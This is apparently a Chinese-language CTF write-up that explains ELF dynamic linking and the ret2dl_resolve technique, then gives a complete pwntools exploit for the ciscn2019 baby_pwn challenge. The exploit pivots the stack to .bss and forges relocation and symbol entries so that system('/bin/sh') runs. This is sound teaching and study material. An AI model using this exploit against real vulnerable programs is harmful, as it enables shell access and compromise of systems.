ret2dl_resolve(ciscn2019_pwn)

ret2_dl_runtime_solve

  • 因为之前并没有完整地整理复现ret2dl_resolve这个知识点, 所以特意另开一篇, 借这道题顺便理清思路

ELF关于动态链接的一些关键的section

  • 这里提一下section和segment的区别: 前者是目标代码文件的组成部分, 后者是可执行文件的组成部分. 分别使用readelf -S和readelf -l查看, 具体请看我关于ELF文件解析的文章.

    注: readelf -S可以查看所有节的地址, 其中类型位REL的节区包含重定位表项.

    节中包含目标文件的所有信息,节的结构如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    typedef struct {
    Elf32_Word sh_name; // 节头部字符串表节区的索引
    Elf32_Word sh_type; // 节类型
    Elf32_Word sh_flags; // 节标志,用于描述属性
    Elf32_Addr sh_addr; // 节的内存映像
    Elf32_Off sh_offset; // 节的文件偏移
    Elf32_Word sh_size; // 节的长度
    Elf32_Word sh_link; // 节头部表索引链接
    Elf32_Word sh_info; // 附加信息
    Elf32_Word sh_addralign; // 节对齐约束
    Elf32_Word sh_entsize; // 固定大小的节表项的长度
    } Elf32_Shdr;

.dynamic

  • ELF可执行文件由ELF头部,程序头部表和其对应的段,节头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。结构如下:
    1
    2
    3
    4
    5
    6
    7
    typedef struct {
    Elf32_Sword d_tag;
    union {
    Elf32_Word d_val;
    Elf32_Addr d_ptr;
    } d_un;
    } Elf32_Dyn;
  • 其中Tag对应这每个节.比如JMPREL对应.ret.plt (ELF JMPREL Relocation Table)
  • 也可以适合用readelf -d 的命令查看.

.rel.plt

  • 重定位表,也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针,对于可执行文件,此值为虚拟地址
Elf32_Word r_info;
//符号表索引
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1,2,4,5是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现这些数字刚好和.dynsym的各个函数位置相对应
} Elf32_Rel;

#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
  • 也可通过readelf -r来获取相关信息,其中.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位
  • .got节保存全局变量偏移表,.got.plt节保存全局函数偏移表。.got.plt对应着Elf32_Rel结构中r_offset的值

.dynsym

  • 是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。.dynsym节包含了动态链接符号表。Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义,
    1
    ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8其实就是直接看从第二个字节开始的值
  • 结构体定义如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    typedef struct
    {
    Elf32_Word st_name; //Symbol name(string tbl index) 符号名,是相对.dynstr起始地址的偏移
    Elf32_Addr st_value;
    Elf32_Word st_size;
    unsigned char st_info; //Symbol type and binding 对于导入函数符号而言,它是0x12
    unsigned char st_other;
    Elf32_Section st_shndx;// Section index
    }Elf32_Sym; //对于导入函数符号而言,其他字段都是0
  • 可以使用readelf -s 查看
  • 根据上面我们可以知道read的ELF32_R_SYM(0x107), 所以应该是
    Elf32_Sym[1]即保存着read的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMP_SLOT。

.dynstr

  • 一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个read。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,在这里就是对0804827C的偏移.
    Elf32_Sym[1]->st_name=0x20(调试方法.dynsym + Elf32_Sym_size * num),所以.dynstr加上0x20的偏移量,就是字符串write。

.plt

  • .plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。
  • 执行read@plt的时候,就会跳到0x804a00c去执行.
  • 延迟绑定

  • 先贴张有意思的图
  • 来看刚才那三行汇编代码, 第一行:前面提到过0x804a00c是read的GOT表位置,当我们第一次调用read时,其对应的GOT表里并没有存放read的真实地址,而是read@plt的下一条指令地址。
  • 第二、三行:把reloc_arg=0x0作为参数推入栈中,跳到0x08048380(PLT[0])继续执行.
  • 0x08048380(PLT[0])再把link_map=(GOT+4)(即GOT[1],链接器的标识信息)作为参数推入栈中,而(GOT+8)(即GOT[2],动态链接器中的入口点)中保存的是_dl_runtime_resolve函数的地址。因此以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg),该函数会完成符号的解析,即将真实的read函数地址写入其GOT条目中,随后把控制权交给read函数。
  • _dl_runtime_resolve是在glibc-2.23/sysdeps/i386/dl-trampoline.S中用汇编实现的。0xf7feae1b处即调用_dl_fixup,并且通过寄存器传参。
  • _dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,这里只列出一些主要函数。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
    {
    // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
    }

_dl_runtime_resolve具体调用顺序

  1. 用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

漏洞利用方式

  • 漏洞利用方式
  1. 控制eip为PLT[0]的地址,只需传递一个index_arg参数
  2. 控制index_arg的大小,使reloc的位置落在可控地址内
  3. 伪造reloc的内容,使sym落在可控地址内
  4. 伪造sym的内容,使name落在可控地址内
  5. 伪造name为任意库函数,如system

baby_pwn

  • checksec

    具体利用思路: 操纵第二个参数,使其指向我们所构造的Elf32_Rel

因为开了RELRO, 所以.dynamic不可写, 前面的_dl_runtime_resolve在第二步时

.rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel

这个时候,_dl_runtime_resolve并没有检查.rel.plt + 第二个参数后是否造成越界访问,所以我们能给一个很大的.rel.plt的offset(64位的话就是下标),然后使得加上去之后的地址指向我们所能操纵的一块内存空间,比方说.bss。

然后第三步

rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym

所以在我们所伪造的Elf32_Rel,需要放一个r_info字段,大概长这样就行0xXXXXXX07,其中XXXXXX是相对.dynsym表的下标,注意不是偏移,所以是偏移除以Elf32_Sym的大小,即除以0x10(32位下)。然后这里同样也没有进行越界访问的检查,所以可以用类似的方法,伪造出这个Elf32_Sym。至于为什么是07,因为这是一个导入函数,而导入函数一般都是07,所以写成07就好。

然后第四步

.dynstr + sym->st_name得出符号名字符串指针

同样类似,没有进行越界访问检查,所以这个字符串也能够伪造。

我们需要做的就是在使调用函数的整个过程被我们所控制,首先劫持栈:

1
payload+= p32(pop_rbp) + p32(mystack) + p32(leave_ret)

然后需要在栈上布置这种结构:

1
2
3
4
5
6
7
8
9
payload = p32(mystack)
payload+= p32(plt_0_addr)
payload+= p32(fake_index)
payload+= p32(ret_addr)
payload+= p32(arguments)
payload+= fake_rel
payload+= fake_sym
payload = payload.ljust(0x80,’x00’)
payload+= fake_str

之后我们要做的事分三步:
1.伪造fake_index来使程序跳入我们自己的fake_rel结构体
2.构造fake_rel的r_info来使程序跳到我们自己的fake_sym结构体 (这里需要我们自己来构造字节对齐。)
3.构造fake_sym结构体的st_name来使程序跳到我们自己的fake_str字符串。
其中fake_index,fake_rel,fake_sym,fake_str的地址都需要我们自己能够精确地控制。(栈注意迁移即可)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf-8

from pwn import *

context(os='linux',arch='i386')
#context.log_level = 'debug'

p = process('./pwn')
P = ELF('./pwn')

lr = 0x08048448
bss = 0x0804aa00
pppr_addr = 0x080485d9
pop_ebp = 0x080485db

payload = (0x28+4) * 'a'
payload+= p32(P.plt['read'])
payload+= p32(pppr_addr)
payload+= p32(0)
payload+= p32(bss)
payload+= p32(0x400)
payload+= p32(pop_ebp)
payload+= p32(bss)
payload+= p32(lr)
p.send(payload)

sleep(1)

plt_0 = 0x08048380
r_info = 0x107
rel_plt = 0x0804833c
dynsym = 0x080481dc
dynstr = 0x0804827c

fake_sys_addr = bss + 36
align = 0x10 - ((fake_sys_addr-dynsym)&0xf)
fake_sys_addr = fake_sys_addr + align
index = (fake_sys_addr - dynsym)/0x10
r_info = (index << 8) + 0x7
st_name = (fake_sys_addr + 0x10) - dynstr
fake_sys = p32(st_name) + p32(0) + p32(0) + p32(0x12)

fake_rel = p32(P.got['read']) + p32(r_info)
fake_rel_addr = bss + 28
fake_index = fake_rel_addr - rel_plt

payload = p32(bss)
payload+= p32(plt_0)
payload+= p32(fake_index)
payload+= p32(0xdeadbeef)
payload+= p32(bss+0x80)
payload+= p32(0)
payload+= p32(0)
payload+= fake_rel
payload+= 'a'*align
payload+= fake_sys
payload+= 'system'
payload = payload.ljust(0x80,'\x00')
payload+= '/bin/sh\x00'
p.sendline(payload)

p.interactive()